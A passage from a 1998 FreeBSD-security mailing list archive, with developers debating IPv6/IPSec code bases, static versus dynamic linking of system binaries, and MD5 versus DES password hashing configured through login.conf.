compiling being >done as well as a reduction in exec startup and PIC relocation overheads). 23% altogether for these plus using an mfs /tmp (from 6788.93 to 5211.35 for a full `make world' on a K6/233). Bruce To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Wed Apr 22 03:12:49 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id DAA09620 for freebsd-security-outgoing; Wed, 22 Apr 1998 03:12:49 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from citadel.cdsec.com (citadel.cdsec.com [192.96.22.18]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id KAA09605 for ; Wed, 22 Apr 1998 10:12:42 GMT (envelope-from ian@cdsec.com) Received: (from nobody@localhost) by citadel.cdsec.com (8.8.5/8.6.9) id MAA08242 for ; Wed, 22 Apr 1998 12:19:45 +0200 (SAT) Received: by citadel via recvmail id 8204; Wed Apr 22 12:18:46 1998 From: Ian Cooper Message-Id: <199804221009.MAA22173@cdsec.com> Subject: Re: IPv6 + IPSec To: freebsd-security@FreeBSD.ORG Date: Wed, 22 Apr 1998 12:09:51 +0200 (SAT) In-Reply-To: from "Janos Mohacsi" at Apr 22, 98 00:57:53 am X-Mailer: ELM [version 2.4 PL24] Content-Type: text Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk My personal experience for what it is worth... > > Compiling the WIDE implementation is quite hard because of misnamed > structure fields, etc. And the kernels dumps core sometimes... The most > important argument against the WIDE IPv6 (for me) that the applications > are not so tightly integrated to the system as in the INRIA. Pluses 1. The diffs apply perfectly to a stock kernel 2. The code compiles without even a warning 3. The kernel is rock solid stable Minuses 1. IPSEC tunneling is not implemented 2. No provision is made for rfc1853 as a result of this, although the code to implement deencapsulation is pretty simple and short to implement Otherwise, I think it is pretty cleanly written. Should there be any volunteers to work on it, we'd be interested in the ISAKMP/Oakley stuff, and would be keen to work on an implementation in conjunction with others. The WIDE code would need tunnelling support in order to make it truly useful. > > The solutions would be the import INRIA IPv6 code and integrate WIDE or > ticl IPSec (with addition photurisd from OpenBSD and ISA KMP/Oakley). > > Sincerely, > Janos Mohacsi > > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe security" in the body of the message > -- Ian Cooper (ian@cdsec.com) Tel: +27 21 23-6065 Citadel Data Security Fax: +27 21 24-3656 Citadel Firewall, Citadel VPN Router Unit 3, 46 Orange Street http://www.cdsec.com Cape Town, South Africa To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Wed Apr 22 06:44:25 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id GAA11995 for freebsd-security-outgoing; Wed, 22 Apr 1998 06:44:25 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from socrates.i-pi.com (socrates.i-pi.com [198.49.217.5]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA11989 for ; Wed, 22 Apr 1998 13:44:22 GMT (envelope-from ingham@i-pi.com) Received: (from ingham@localhost) by socrates.i-pi.com (8.8.7/8.8.7) id HAA03272; Wed, 22 Apr 1998 07:42:14 -0600 (MDT) (envelope-from ingham) Message-ID: <19980422074214.02248@i-pi.com> Date: Wed, 22 Apr 1998 07:42:14 -0600 From: Kenneth Ingham To: Peter Wemm Cc: freebsd-security@FreeBSD.ORG Subject: lost or damaged libc.so References: <199804211814.OAA23669@brain.zeus.leitch.com> <199804220504.NAA01624@spinner.netplex.com.au> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.84 In-Reply-To: <199804220504.NAA01624@spinner.netplex.com.au>; from Peter Wemm on Wed, Apr 22, 1998 at 01:04:35PM +0800 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk On Wed, Apr 22, 1998 at 01:04:35PM +0800, Peter Wemm wrote: > FWIW, I'm a little amazed at the paranoia about dynamic linking. I have > *never* *ever* "lost" or damaged ld.so except through stupidity (made a > mistake with a source change and caused an undefined symbol). I have never > lost or damaged libc.so except through stupidity (again, generally through > normal development accidents with undefined symbols). I can provide a counterexample to this. I had a disk on a NeXT develop a bad spot in it's shared C library. Really frustrating, because the programs which you would use to do a restore from backup were all dynamically linked. Booting from the CD on the NeXT doesn't work like you'd hope, because the read-only applies to all mounts below it also (sigh). On the other hand, it would be easier to recover from this problem on a FreeBSD system than it was on the NeXT (it's easier to run from the CD). Kenneth To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Wed Apr 22 08:35:32 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id IAA01944 for freebsd-security-outgoing; Wed, 22 Apr 1998 08:35:32 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from antipodes.cdrom.com (castles231.castles.com [208.214.165.231]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id PAA01939 for ; Wed, 22 Apr 1998 15:35:28 GMT (envelope-from mike@antipodes.cdrom.com) Received: from antipodes.cdrom.com (localhost [127.0.0.1]) by antipodes.cdrom.com (8.8.8/8.8.5) with ESMTP id IAA00455; Wed, 22 Apr 1998 08:31:29 -0700 (PDT) Message-Id: <199804221531.IAA00455@antipodes.cdrom.com> X-Mailer: exmh version 2.0zeta 7/24/97 To: Peter Jeremy cc: freebsd-security@FreeBSD.ORG Subject: Re: Using MD5 insted of DES for passwd ecnryption In-reply-to: Your message of "Wed, 22 Apr 1998 15:53:24 +1000." <199804220553.PAA03826@gsms01.alcatel.com.au> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 22 Apr 1998 08:31:27 -0700 From: Mike Smith Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk > > The more objects that need protecting, the more likely one is overlooked, > allowing the system to subverted. Until you got to this point, you weren't doing too badly. Unfortunately, your assertion is unsupported (and effectively unsupportable). But it's popular nonetheless because it strikes a chord with people that think of system security like they would think of guarding something physical. Once you are certain you can secure a single file, you can secure any set of files. Securing these files is a once-off process - you don't have to march back and forth around them warding off intruders, so the only effect of having more of them is the extra time taken to secure them in the first place. If the securing process is automated, and scrutinised suitably, this is something that can be reduced to almost zero cost. Given that there are already compromise targets which are linked shared, I think the whole point is pretty frivolous. -- \\ Sometimes you're ahead, \\ Mike Smith \\ sometimes you're behind. \\ mike@smith.net.au \\ The race is long, and in the \\ msmith@freebsd.org \\ end it's only with yourself. \\ msmith@cdrom.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Wed Apr 22 08:51:15 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id IAA04776 for freebsd-security-outgoing; Wed, 22 Apr 1998 08:51:15 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from ns.mt.sri.com (sri-gw.MT.net [206.127.105.141]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id PAA04769 for ; Wed, 22 Apr 1998 15:51:03 GMT (envelope-from nate@mt.sri.com) Received: from mt.sri.com (rocky.mt.sri.com [206.127.76.100]) by ns.mt.sri.com (8.8.8/8.8.8) with SMTP id JAA16057; Wed, 22 Apr 1998 09:50:39 -0600 (MDT) (envelope-from nate@rocky.mt.sri.com) Received: by mt.sri.com (SMI-8.6/SMI-SVR4) id JAA03696; Wed, 22 Apr 1998 09:50:36 -0600 Date: Wed, 22 Apr 1998 09:50:36 -0600 Message-Id: <199804221550.JAA03696@mt.sri.com> From: Nate Williams MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: Poul-Henning Kamp Cc: Nate Williams , Peter Wemm , freebsd-security@FreeBSD.ORG Subject: Re: Static vs. dynamic linking (was Re: Using MD5 insted of DES ...) In-Reply-To: <2234.893226907@critter.freebsd.dk> References: <199804220616.AAA02036@mt.sri.com> <2234.893226907@critter.freebsd.dk> X-Mailer: VM 6.29 under 19.15 XEmacs Lucid Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk > >I have thwacked the snot out of my system by replacing libc.so to the > >point that nothing except the static stuff in /bin|sbin worked. It > >doesn't happen too often, but when it does the only recourse was to use > >the static stuff to recover, which I was able to do. > > > >With dynamic programs, instead of having a single point of failure, you > >have *many*. ld.so, libc.so, potentially /var/run/ld.hints, etc... > > And of course, you DO keep a boot.flp/fixit.flp combination close at > hand, right ? Of course not. Some of my boxes don't have floppies, and I've yet to find a decent fixit floppy that actually does something. (The one that mounts the CD-ROM works pretty well, but only if the box happens to be running similar release to the CD, and that is rarely the case.) Nate To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Wed Apr 22 08:54:24 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id IAA05400 for freebsd-security-outgoing; Wed, 22 Apr 1998 08:54:24 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from gateman.zeus.leitch.com (gateman.zeus.leitch.com [204.187.61.193]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id PAA05387 for ; Wed, 22 Apr 1998 15:54:21 GMT (envelope-from woods@tap.zeus.leitch.com) Received: from zeus.leitch.com (tap.zeus.leitch.com [204.187.61.10]) by gateman.zeus.leitch.com (8.8.5/8.7.3/1.0) with ESMTP id LAA00478 for ; Wed, 22 Apr 1998 11:54:28 -0400 (EDT) Received: from brain.zeus.leitch.com (brain.zeus.leitch.com [204.187.61.32]) by zeus.leitch.com (8.7.5/8.7.3/1.0) with ESMTP id LAA12701 for ; Wed, 22 Apr 1998 11:54:29 -0400 (EDT) Received: (from woods@localhost) by brain.zeus.leitch.com (8.8.8/8.8.8) id LAA01077; Wed, 22 Apr 1998 11:54:28 -0400 (EDT) (envelope-from woods@tap.zeus.leitch.com) Date: Wed, 22 Apr 1998 11:54:28 -0400 (EDT) Message-Id: <199804221554.LAA01077@brain.zeus.leitch.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit From: woods@zeus.leitch.com (Greg A. Woods) To: freebsd-security@FreeBSD.ORG Subject: Re: Using MD5 insted of DES for passwd ecnryption In-Reply-To: Mark Murray's message of "Tue, April 21, 1998 20:31:17 +0200" regarding "Re: Using MD5 insted of DES for passwd ecnryption " id <199804211831.UAA26779@greenpeace.grondar.za> References: <199804211831.UAA26779@greenpeace.grondar.za> X-Mailer: VM 6.45 under Emacs 20.2.1 Reply-To: freebsd-security@FreeBSD.ORG Organization: Planix, Inc.; Toronto, Ontario; Canada Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk [ On Tue, April 21, 1998 at 20:31:17 (+0200), Mark Murray wrote: ] > Subject: Re: Using MD5 insted of DES for passwd ecnryption > > Not so. There exists the probability that dlopen could be fixed to work > for statically linked apps to allow them to find and use arbitrary (binar > y) .so objects. Dynamic loading is "dynamic", no matter at what level it happens. One reason for not doing dynamic loading is for security paranoia. If everything's static then it's much harder to introduce foreign code, esp. into running processes. As for doing this kind of run-time loading with dlopen(), well I'd suggest that there are lots of other better APIs in wide use already. -- Greg A. Woods +1 416 443-1734 VE3TCP Planix, Inc. ; Secrets of the Weird To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Wed Apr 22 09:03:04 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id JAA07942 for freebsd-security-outgoing; Wed, 22 Apr 1998 09:03:04 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from gateman.zeus.leitch.com (gateman.zeus.leitch.com [204.187.61.193]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id QAA07931 for ; Wed, 22 Apr 1998 16:02:58 GMT (envelope-from woods@tap.zeus.leitch.com) Received: from zeus.leitch.com (tap.zeus.leitch.com [204.187.61.10]) by gateman.zeus.leitch.com (8.8.5/8.7.3/1.0) with ESMTP id MAA00550 for ; Wed, 22 Apr 1998 12:03:06 -0400 (EDT) Received: from brain.zeus.leitch.com (brain.zeus.leitch.com [204.187.61.32]) by zeus.leitch.com (8.7.5/8.7.3/1.0) with ESMTP id MAA12751 for ; Wed, 22 Apr 1998 12:03:07 -0400 (EDT) Received: (from woods@localhost) by brain.zeus.leitch.com (8.8.8/8.8.8) id MAA01135; Wed, 22 Apr 1998 12:03:06 -0400 (EDT) (envelope-from woods@tap.zeus.leitch.com) Date: Wed, 22 Apr 1998 12:03:06 -0400 (EDT) Message-Id: <199804221603.MAA01135@brain.zeus.leitch.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit From: woods@zeus.leitch.com (Greg A. Woods) To: freebsd-security@FreeBSD.ORG Subject: Re: Using MD5 insted of DES for passwd ecnryption In-Reply-To: Peter Wemm's message of "Wed, April 22, 1998 13:04:35 +0800" regarding "Re: Using MD5 insted of DES for passwd ecnryption " id <199804220504.NAA01624@spinner.netplex.com.au> References: <199804211814.OAA23669@brain.zeus.leitch.com> <199804220504.NAA01624@spinner.netplex.com.au> X-Mailer: VM 6.45 under Emacs 20.2.1 Reply-To: freebsd-security@FreeBSD.ORG Organization: Planix, Inc.; Toronto, Ontario; Canada Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk [ On Wed, April 22, 1998 at 13:04:35 (+0800), Peter Wemm wrote: ] > Subject: Re: Using MD5 insted of DES for passwd ecnryption > > And what happens when you've got some static 3rd party binary that you can't > relink, and you use a different encryption system locally? (eg: the > chained secureware (as used in SCO etc) des hash method). That's why we run FreeBSD/NetBSD/etc.! (i.e. to avoid ever having to use 3rd party binaries that we can't re-link or even re-compile!) > Distributing statically linked binaries has to be strongly discouraged > since it prevents things like libc bug fixes (eg: res_send() being > adjusted to use poll() or large a fd_set with select() and so on). Many times the possibility of actually implementating such fixes in this wayis extremely limited, esp. when you try to merge multiple fixes. Backwards compatability at the object level is difficult. However by distributing products in object mode they can be re-linked with just those fixes they require, and it's much easier to put special wrappers around clashing object modules. Not so easy as with source, which is obviously more preferable, but possible none the less. > FWIW, I'm a little amazed at the paranoia about dynamic linking. I have > *never* *ever* "lost" or damaged ld.so except through stupidity (made a > mistake with a source change and caused an undefined symbol). I have never > lost or damaged libc.so except through stupidity (again, generally through > normal development accidents with undefined symbols). I have also rendered > my system "cactus" by loosing /dev/console, the entire /dev directory, > damaging /sbin/init and /sbin/sh, misakes in /etc/rc and so on. ld.so and > libc.so have been the *least* of my problems. I can understand the concern > of people coming from systems with less robust VM systems, but we've had a > system where the executable activation and mmap() etc have been pretty much > unified and have been quite been solid since 2.0.5 days. I can't ever > recall a situation where ld.so was unable to be successfully mmap'ed while > executables themselves were loadable. Those kinds of problems are not necessarily the only issues! ;-) -- Greg A. Woods +1 416 443-1734 VE3TCP Planix, Inc. ; Secrets of the Weird To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Wed Apr 22 09:09:59 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id JAA09218 for freebsd-security-outgoing; Wed, 22 Apr 1998 09:09:59 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from gateman.zeus.leitch.com (gateman.zeus.leitch.com [204.187.61.193]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id QAA09212 for ; Wed, 22 Apr 1998 16:09:56 GMT (envelope-from woods@tap.zeus.leitch.com) Received: from zeus.leitch.com (tap.zeus.leitch.com [204.187.61.10]) by gateman.zeus.leitch.com (8.8.5/8.7.3/1.0) with ESMTP id MAA00613 for ; Wed, 22 Apr 1998 12:10:03 -0400 (EDT) Received: from brain.zeus.leitch.com (brain.zeus.leitch.com [204.187.61.32]) by zeus.leitch.com (8.7.5/8.7.3/1.0) with ESMTP id MAA12786 for ; Wed, 22 Apr 1998 12:10:04 -0400 (EDT) Received: (from woods@localhost) by brain.zeus.leitch.com (8.8.8/8.8.8) id MAA01179; Wed, 22 Apr 1998 12:10:03 -0400 (EDT) (envelope-from woods@tap.zeus.leitch.com) Date: Wed, 22 Apr 1998 12:10:03 -0400 (EDT) Message-Id: <199804221610.MAA01179@brain.zeus.leitch.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit From: woods@zeus.leitch.com (Greg A. Woods) To: freebsd-security@FreeBSD.ORG Subject: Re: Static vs. dynamic linking (was Re: Using MD5 insted of DES ...) In-Reply-To: Poul-Henning Kamp's message of "Wed, April 22, 1998 08:35:07 +0200" regarding "Re: Static vs. dynamic linking (was Re: Using MD5 insted of DES ...) " id <2234.893226907@critter.freebsd.dk> References: <199804220616.AAA02036@mt.sri.com> <2234.893226907@critter.freebsd.dk> X-Mailer: VM 6.45 under Emacs 20.2.1 Reply-To: woods@zeus.leitch.com (Greg A. Woods) Organization: Planix, Inc.; Toronto, Ontario; Canada Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk [ On Wed, April 22, 1998 at 08:35:07 (+0200), Poul-Henning Kamp wrote: ] > Subject: Re: Static vs. dynamic linking (was Re: Using MD5 insted of DES ...) > > I disagree, I think just the crypt problem is sufficient argument to > go dynamic. I think if the interface is done in such a way that a run-time flag chooses the appropriate mechanism then from an implementation point of view it is irrelevant whether dynamic linking is used to save a bit of memory by not loading the unused schemes (or indeed to avoid having to have them all present on a given system), or not. In either case the programming and administrative interfaces are the same. The only difference is in resource utilization and overall administrative restrictions (e.g. someone may not be permitted to have libdes.so, and dynamic linking will allow that to be an option chosen during a binary-only install). -- Greg A. Woods +1 416 443-1734 VE3TCP Planix, Inc. ; Secrets of the Weird To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Wed Apr 22 11:48:46 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id LAA13718 for freebsd-security-outgoing; Wed, 22 Apr 1998 11:48:46 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from sasami.jurai.net (winter@sasami.jurai.net [207.153.65.3]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id SAA13667 for ; Wed, 22 Apr 1998 18:48:33 GMT (envelope-from winter@jurai.net) Received: from localhost (winter@localhost) by sasami.jurai.net (8.8.8/8.8.7) with SMTP id OAA12542; Wed, 22 Apr 1998 14:42:13 -0400 (EDT) Date: Wed, 22 Apr 1998 14:42:13 -0400 (EDT) From: "Matthew N. Dodd" To: Poul-Henning Kamp cc: Nate Williams , Peter Wemm , freebsd-security@FreeBSD.ORG Subject: Re: Static vs. dynamic linking (was Re: Using MD5 insted of DES ...) In-Reply-To: <2234.893226907@critter.freebsd.dk> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk On Wed, 22 Apr 1998, Poul-Henning Kamp wrote: > I disagree, I think just the crypt problem is sufficient argument to > go dynamic. But its not really the only way to skin the cat. You could have something like authd running and listening on a unix domain socket and handeling non /etc/passwd auth requests. (Yes its ugly, but in a different way.) /* Matthew N. Dodd | A memory retaining a love you had for life winter@jurai.net | As cruel as it seems nothing ever seems to http://www.jurai.net/~winter | go right - FLA M 3.1:53 */ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Wed Apr 22 11:51:30 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id LAA14868 for freebsd-security-outgoing; Wed, 22 Apr 1998 11:51:30 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from critter.freebsd.dk (critter.freebsd.dk [195.8.129.14]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id SAA14822 for ; Wed, 22 Apr 1998 18:51:14 GMT (envelope-from phk@critter.freebsd.dk) Received: from critter.freebsd.dk (localhost [127.0.0.1]) by critter.freebsd.dk (8.8.7/8.8.5) with ESMTP id UAA04423; Wed, 22 Apr 1998 20:49:54 +0200 (CEST) To: "Matthew N. Dodd" cc: Nate Williams , Peter Wemm , freebsd-security@FreeBSD.ORG Subject: Re: Static vs. dynamic linking (was Re: Using MD5 insted of DES ...) In-reply-to: Your message of "Wed, 22 Apr 1998 14:42:13 EDT." Date: Wed, 22 Apr 1998 20:49:54 +0200 Message-ID: <4421.893270994@critter.freebsd.dk> From: Poul-Henning Kamp Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk In message , "Matthew N. Dodd" writes: >On Wed, 22 Apr 1998, Poul-Henning Kamp wrote: >> I disagree, I think just the crypt problem is sufficient argument to >> go dynamic. > >But its not really the only way to skin the cat. > >You could have something like authd running and listening on a unix domain >socket and handeling non /etc/passwd auth requests. > >(Yes its ugly, but in a different way.) What about the root password prompt in /sbin/init ? That is the only really troublesome case... -- Poul-Henning Kamp FreeBSD coreteam member phk@FreeBSD.ORG "Real hackers run -current on their laptop." "Drink MONO-tonic, it goes down but it will NEVER come back up!" To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Wed Apr 22 12:01:04 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id MAA17948 for freebsd-security-outgoing; Wed, 22 Apr 1998 12:01:04 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from sasami.jurai.net (winter@sasami.jurai.net [207.153.65.3]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id SAA17461 for ; Wed, 22 Apr 1998 18:59:44 GMT (envelope-from winter@jurai.net) Received: from localhost (winter@localhost) by sasami.jurai.net (8.8.8/8.8.7) with SMTP id OAA12726; Wed, 22 Apr 1998 14:56:35 -0400 (EDT) Date: Wed, 22 Apr 1998 14:56:35 -0400 (EDT) From: "Matthew N. Dodd" To: Poul-Henning Kamp cc: Nate Williams , Peter Wemm , freebsd-security@FreeBSD.ORG Subject: Re: Static vs. dynamic linking (was Re: Using MD5 insted of DES ...) In-Reply-To: <4421.893270994@critter.freebsd.dk> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk On Wed, 22 Apr 1998, Poul-Henning Kamp wrote: > What about the root password prompt in /sbin/init ? > > That is the only really troublesome case... I was proposing that a small library that knows how to speak to /dev/.authd be used instead of a PAM like scheme. If authd wasn't running it would just use the regular /etc/passwd routines. (We really wouldn't need a different library, just some knobs in libc). /* Matthew N. Dodd | A memory retaining a love you had for life winter@jurai.net | As cruel as it seems nothing ever seems to http://www.jurai.net/~winter | go right - FLA M 3.1:53 */ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Wed Apr 22 13:24:56 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA11459 for freebsd-security-outgoing; Wed, 22 Apr 1998 13:24:56 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from gratis.grondar.za (gratis.grondar.za [196.7.18.65]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id UAA11358 for ; Wed, 22 Apr 1998 20:24:42 GMT (envelope-from mark@grondar.za) Received: from greenpeace.grondar.za (greenpeace.grondar.za [196.7.18.132]) by gratis.grondar.za (8.8.8/8.8.8) with ESMTP id WAA02193; Wed, 22 Apr 1998 22:24:26 +0200 (SAST) (envelope-from mark@grondar.za) Received: from grondar.za (localhost [127.0.0.1]) by greenpeace.grondar.za (8.8.8/8.8.8) with ESMTP id WAA00701; Wed, 22 Apr 1998 22:24:25 +0200 (SAST) (envelope-from mark@grondar.za) Message-Id: <199804222024.WAA00701@greenpeace.grondar.za> X-Mailer: exmh version 2.0.2 2/24/98 To: Poul-Henning Kamp cc: "Matthew N. Dodd" , Nate Williams , Peter Wemm , freebsd-security@FreeBSD.ORG Subject: Re: Static vs. dynamic linking (was Re: Using MD5 insted of DES ...) Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 22 Apr 1998 22:24:24 +0200 From: Mark Murray Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk Poul-Henning Kamp wrote: > What about the root password prompt in /sbin/init ? > > That is the only really troublesome case... Of the very lively dialog that thas passsed on this subject the last couple of days, the most useable solution seems to be (in the case of apps in /(s)bin that may need alternative crypts) is to link them using the normal dynamic flags, except to force them to use the static libraries. This way will get a useable dlopen, and will allow the app to function as required, and will not break the rest of the world with a dynamic /(s)bin/*. The apps can then use a (say) cryptdes.so if it exists. Is my summary OK? M -- Mark Murray Join the anti-SPAM movement: http://www.cauce.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Wed Apr 22 13:56:29 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA22183 for freebsd-security-outgoing; Wed, 22 Apr 1998 13:56:29 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from gateman.zeus.leitch.com (gateman.zeus.leitch.com [204.187.61.193]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id UAA22126 for ; Wed, 22 Apr 1998 20:56:22 GMT (envelope-from woods@tap.zeus.leitch.com) Received: from zeus.leitch.com (tap.zeus.leitch.com [204.187.61.10]) by gateman.zeus.leitch.com (8.8.5/8.7.3/1.0) with ESMTP id QAA02282 for ; Wed, 22 Apr 1998 16:56:25 -0400 (EDT) Received: from brain.zeus.leitch.com (brain.zeus.leitch.com [204.187.61.32]) by zeus.leitch.com (8.7.5/8.7.3/1.0) with ESMTP id QAA14696 for ; Wed, 22 Apr 1998 16:56:25 -0400 (EDT) Received: (from woods@localhost) by brain.zeus.leitch.com (8.8.8/8.8.8) id QAA02964; Wed, 22 Apr 1998 16:56:25 -0400 (EDT) (envelope-from woods@tap.zeus.leitch.com) Date: Wed, 22 Apr 1998 16:56:25 -0400 (EDT) Message-Id: <199804222056.QAA02964@brain.zeus.leitch.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit From: woods@zeus.leitch.com (Greg A. Woods) To: freebsd-security@FreeBSD.ORG Subject: Re: Static vs. dynamic linking (was Re: Using MD5 insted of DES ...) In-Reply-To: Mark Murray's message of "Wed, April 22, 1998 22:24:24 +0200" regarding "Re: Static vs. dynamic linking (was Re: Using MD5 insted of DES ...) " id <199804222024.WAA00701@greenpeace.grondar.za> References: <199804222024.WAA00701@greenpeace.grondar.za> X-Mailer: VM 6.45 under Emacs 20.2.1 Reply-To: woods@zeus.leitch.com (Greg A. Woods) Organization: Planix, Inc.; Toronto, Ontario; Canada Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk [ On Wed, April 22, 1998 at 22:24:24 (+0200), Mark Murray wrote: ] > Subject: Re: Static vs. dynamic linking (was Re: Using MD5 insted of DES ...) > > Is my summary OK? If you're looking for a consensus, then no. ;-) (in certain circumstances I find any dynamic loading of code, be it through shared libraries, or run-time loading of .o's, or whatever, to be highly undesirable, and I think that's effectively what several other people have concluded too) -- Greg A. Woods +1 416 443-1734 VE3TCP Planix, Inc. ; Secrets of the Weird To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Wed Apr 22 14:05:37 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id OAA26233 for freebsd-security-outgoing; Wed, 22 Apr 1998 14:05:37 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from critter.freebsd.dk (critter.freebsd.dk [195.8.129.14]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id VAA26027 for ; Wed, 22 Apr 1998 21:05:08 GMT (envelope-from phk@critter.freebsd.dk) Received: from critter.freebsd.dk (localhost [127.0.0.1]) by critter.freebsd.dk (8.8.7/8.8.5) with ESMTP id XAA04942; Wed, 22 Apr 1998 23:02:09 +0200 (CEST) To: Mark Murray cc: "Matthew N. Dodd" , Nate Williams , Peter Wemm , freebsd-security@FreeBSD.ORG Subject: Re: Static vs. dynamic linking (was Re: Using MD5 insted of DES ...) In-reply-to: Your message of "Wed, 22 Apr 1998 22:24:24 +0200." <199804222024.WAA00701@greenpeace.grondar.za> Date: Wed, 22 Apr 1998 23:02:09 +0200 Message-ID: <4940.893278929@critter.freebsd.dk> From: Poul-Henning Kamp Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk In message <199804222024.WAA00701@greenpeace.grondar.za>, Mark Murray writes: >Poul-Henning Kamp wrote: >> What about the root password prompt in /sbin/init ? >> >> That is the only really troublesome case... > >Of the very lively dialog that thas passsed on this subject the last >couple of days, the most useable solution seems to be (in the case of >apps in /(s)bin that may need alternative crypts) is to link them using >the normal dynamic flags, except to force them to use the static >libraries. This way will get a useable dlopen, and will allow the app to >function as required, and will not break the rest of the world with a >dynamic /(s)bin/*. The apps can then use a (say) cryptdes.so if it >exists. > >Is my summary OK? Yes, I think we just need to see some code. What about the SHS ($2$) suport for crypt() should we sneak that in at the same time ? Did we also agree that login.conf can specify which encryption to use along these lines: modify existing password: entry in login.conf ? yes: use what login.conf says no: use same as existing password. create new password: entry in login.conf ? yes: use what login.conf says no: use same as current root password -- Poul-Henning Kamp FreeBSD coreteam member phk@FreeBSD.ORG "Real hackers run -current on their laptop." "ttyv0" -- What UNIX calls a $20K state-of-the-art, 3D, hi-res color terminal To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body 